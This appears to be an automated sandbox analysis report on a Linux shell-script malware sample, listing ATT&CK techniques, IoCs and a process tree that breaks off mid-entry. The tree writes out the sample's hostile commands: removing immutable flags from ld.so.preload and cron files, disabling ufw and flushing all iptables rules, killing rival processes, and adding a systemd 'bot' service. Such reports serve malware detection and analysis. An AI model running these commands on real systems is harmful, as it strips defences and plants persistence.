78276bd481a04c29109fbbd8313701e5b814165fa4b48515ec4489ccfda93107

execution persistence privilege_escalatio

description	ioc	Process
File opened for modification	/etc/ld.so.preload	063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1827	chmod
1836	chmod
1837	chmod
1795	chmod
1802	chmod
1804	chmod
1813	chmod
1820	chmod
1797	chmod
1830	chmod

Flushes firewall rules 1 TTPs 2 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
1478	ufw
1653	iptables

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko	1485	modprobe

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1499	iptables
1497	iptables
1579	ip6tables
1614	ip6tables
1639	ip6tables
1731	xargs
1483	ufw-init
1529	iptables
1578	ip6tables
1745	xargs
1534	iptables
1563	iptables
1583	ip6tables
1612	ip6tables
1682	xargs
1721	xargs
1790	xargs
1530	iptables
1502	iptables
1526	iptables
1615	ip6tables
1476	chattr
1494	iptables
1514	iptables
1582	ip6tables
1663	xargs
1474	chattr
1546	iptables
1607	ip6tables
1627	ip6tables
1670	xargs
1729	xargs
1610	ip6tables
1727	xargs
1733	xargs
1750	xargs
1566	iptables
1580	ip6tables
1581	ip6tables
1723	xargs
1762	xargs
1531	iptables
1595	ip6tables
1532	iptables
1616	ip6tables
1644	ip6tables
1725	xargs
1773	xargs
1477	chattr
1503	iptables
1533	iptables
1647	ip6tables
1676	xargs
1688	xargs
1498	iptables
1500	iptables
1558	iptables
1575	ip6tables
1584	ip6tables
1611	ip6tables
1785	xargs
1501	iptables
1535	iptables
1613	ip6tables

Creates/modifies Cron job 1 TTPs 50 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.H6LDRN	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Coa9U4	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.rv1cq3	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.2dKLac	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.BvaaWg	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.S2RXOm	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.j973hw	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.N68EiB	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4lnDGi	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.8GbkVC	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.qMMHUI	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gv7OLR	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.0WlUNQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.D8B271	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.0H2od6	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.hRz8ll	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Zp1jCn	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.PEVm9r	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.FOSCc6	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7AVsii	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.42Ouly	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Lf0pkz	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.lxpvZU	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.uFk9TX	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3f9zee	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.QKbVQj	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4qgyUC	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.kskEcK	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.j73i3O	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.elIYgw	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.B923xF	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.5Hfil9	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.L0069b	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.eiNnrl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.roQM2n	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.1hcObp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.t9DgnE	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.El47RY	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.EtVM2g	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3R7Ywf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.KiFNfe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.EGApms	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.cjp6aE	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.S229kB	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.YlO6Bp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.qmKFho	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.OH5Jm9	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.zxsaBv	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.j3h2GL	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.za2CXV	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/lib/systemd/system/bot.service	063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

Reads CPU attributes 1 TTPs 45 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/module/ip6_tables/initstate	modprobe
File opened for reading	/sys/module/x_tables/initstate	modprobe

Process Discovery 1 TTPs 5 IoCs

Adversaries may try to discover information about running processes.

Process Discovery

T1057

pid	Process
1659	ps
1717	ps
1741	ps
1746	ps
1786	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/98/status	pkill
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/253/cmdline	ps
File opened for reading	/proc/1120/stat	ps
File opened for reading	/proc/83/status	pkill
File opened for reading	/proc/157/status	pkill
File opened for reading	/proc/1470/cmdline	pkill
File opened for reading	/proc/32/cmdline	pkill
File opened for reading	/proc/1221/cmdline	pkill
File opened for reading	/proc/81/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/1469/cmdline	pkill
File opened for reading	/proc/1746/cmdline	ps
File opened for reading	/proc/662/status	ps
File opened for reading	/proc/590/cmdline	pkill
File opened for reading	/proc/331/status	ps
File opened for reading	/proc/35/cmdline	pkill
File opened for reading	/proc/1276/stat	ps
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/1355/cmdline	pkill
File opened for reading	/proc/1170/status	pkill
File opened for reading	/proc/1148/stat	ps
File opened for reading	/proc/1355/status	pkill
File opened for reading	/proc/1195/cmdline	pkill
File opened for reading	/proc/1162/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/89/cmdline	pkill
File opened for reading	/proc/473/cmdline	pkill
File opened for reading	/proc/1164/cmdline	pkill
File opened for reading	/proc/153/status	pkill
File opened for reading	/proc/167/cmdline	pkill
File opened for reading	/proc/1043/cmdline	ps
File opened for reading	/proc/857/status	pkill
File opened for reading	/proc/79/cmdline	pkill
File opened for reading	/proc/98/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/1704/status	pkill
File opened for reading	/proc/1144/cmdline	pkill
File opened for reading	/proc/130/status	pkill
File opened for reading	/proc/36/stat	ps
File opened for reading	/proc/523/cmdline	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/466/status	pkill
File opened for reading	/proc/451/status	pkill
File opened for reading	/proc/1755/status	ps
File opened for reading	/proc/1775/stat	ps
File opened for reading	/proc/1129/status	pkill
File opened for reading	/proc/1112/cmdline	pkill
File opened for reading	/proc/1173/status	pkill
File opened for reading	/proc/938/status	pkill
File opened for reading	/proc/115/cmdline	pkill
File opened for reading	/proc/1129/status	pkill
File opened for reading	/proc/84/status	pkill
File opened for reading	/proc/590/status	pkill
File opened for reading	/proc/1309/status	pkill
File opened for reading	/proc/1164/cmdline	pkill
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/462/status	pkill
File opened for reading	/proc/1480/cmdline	pkill
File opened for reading	/proc/1043/cmdline	pkill
File opened for reading	/proc/1232/status	pkill
File opened for reading	/proc/1232/status	ps
File opened for reading	/proc/993/status	ps

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1930	sed
1473	063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
1485	modprobe

/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
1⤵
- Modifies the dynamic linker configuration file
- Modifies systemd
- System Network Configuration Discovery
PID:1473
- /usr/bin/chattr
  chattr -i /etc/ld.so.preload
  2⤵
  - Attempts to change immutable files
  PID:1474
- /bin/rm
  rm -f /etc/ld.so.preload
  2⤵
  PID:1475
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:1476
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:1477
- /usr/sbin/ufw
  ufw disable
  2⤵
  - Flushes firewall rules
  PID:1478
- - /sbin/iptables
    /sbin/iptables -V
    3⤵
    PID:1479
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    - Attempts to change immutable files
    PID:1483
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1484
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        Enumerates kernel/hardware configuration
        System Network Configuration Discovery
        
        PID:1485
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1489
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      PID:1492
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1493
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1494
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      PID:1495
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1496
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1497
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      Attempts to change immutable files
      PID:1498
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      Attempts to change immutable files
      PID:1499
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      Attempts to change immutable files
      PID:1500
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      Attempts to change immutable files
      PID:1501
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      Attempts to change immutable files
      PID:1502
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      Attempts to change immutable files
      PID:1503
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      PID:1504
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1505
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      PID:1506
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      PID:1507
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1508
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      PID:1509
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1510
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      PID:1511
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1512
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      PID:1513
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      Attempts to change immutable files
      PID:1514
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1515
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      PID:1516
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1517
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      PID:1518
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1519
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1520
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      PID:1521
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      PID:1522
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      PID:1523
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1524
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      PID:1525
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1526
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1527
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      PID:1528
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1529
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      Attempts to change immutable files
      PID:1530
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      Attempts to change immutable files
      PID:1531
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      Attempts to change immutable files
      PID:1532
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      Attempts to change immutable files
      PID:1533
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      Attempts to change immutable files
      PID:1534
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      Attempts to change immutable files
      PID:1535
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1536
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      PID:1537
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1538
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      PID:1539
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      PID:1540
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      PID:1541
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      PID:1542
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      PID:1543
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      PID:1544
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      PID:1545
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      Attempts to change immutable files
      PID:1546
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      PID:1547
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      PID:1548
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      PID:1549
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      PID:1550
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      PID:1551
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      PID:1552
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1553
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      PID:1554
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      PID:1555
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      PID:1556
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1557
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1558
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      PID:1559
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1560
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      PID:1561
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      PID:1562
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      Attempts to change immutable files
      PID:1563
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1564
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      PID:1565
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1566
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      PID:1567
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1568
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1569
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      PID:1570
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      PID:1571
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      PID:1572
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1573
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      PID:1574
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1575
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1576
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      PID:1577
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1578
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      Attempts to change immutable files
      PID:1579
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      Attempts to change immutable files
      PID:1580
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      Attempts to change immutable files
      PID:1581
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      Attempts to change immutable files
      PID:1582
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      Attempts to change immutable files
      PID:1583
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      Attempts to change immutable files
      PID:1584
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      PID:1585
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1586
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      PID:1587
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1588
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      PID:1589
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      PID:1590
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1591
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      PID:1592
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      PID:1593
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1594
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      Attempts to change immutable files
      PID:1595
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1596
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      PID:1597
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      PID:1598
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1599
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      PID:1600
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1601
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1602
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1603
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      PID:1604
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      PID:1605
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      PID:1606
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1607
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1608
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      PID:1609
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1610
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      Attempts to change immutable files
      PID:1611
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      Attempts to change immutable files
      PID:1612
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      Attempts to change immutable files
      PID:1613
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      Attempts to change immutable files
      PID:1614
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      Attempts to change immutable files
      PID:1615
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
      Attempts to change immutable files
      PID:1616
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1617
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1618
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      PID:1619
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1620
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      PID:1621
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      PID:1622
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1623
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      PID:1624
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      PID:1625
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1626
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      Attempts to change immutable files
      PID:1627
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      PID:1628
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      PID:1629
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      PID:1630
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      PID:1631
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      PID:1632
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1633
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      PID:1634
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      PID:1635
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1636
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1637
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      PID:1638
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1639
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1640
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      PID:1641
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      PID:1642
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      PID:1643
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      Attempts to change immutable files
      PID:1644
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      PID:1645
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      PID:1646
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1647
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1648
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1649
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      PID:1650
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      PID:1651
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      PID:1652
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1653
- /usr/bin/id
  id -u
  2⤵
  PID:1654
- /bin/grep
  grep -v grep
  2⤵
  PID:1658
- /bin/grep
  grep -e /dev
  2⤵
  PID:1657
- /bin/ls
  ls -la /etc
  2⤵
  PID:1656
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1663
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1662
- /bin/grep
  grep -v grep
  2⤵
  PID:1661
- /bin/grep
  grep agetty
  2⤵
  PID:1660
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1659
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1664
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1670
- /bin/grep
  grep -v -
  2⤵
  PID:1669
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1668
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1667
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1666
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1676
- /bin/grep
  grep -v -
  2⤵
  PID:1675
- /usr/bin/awk
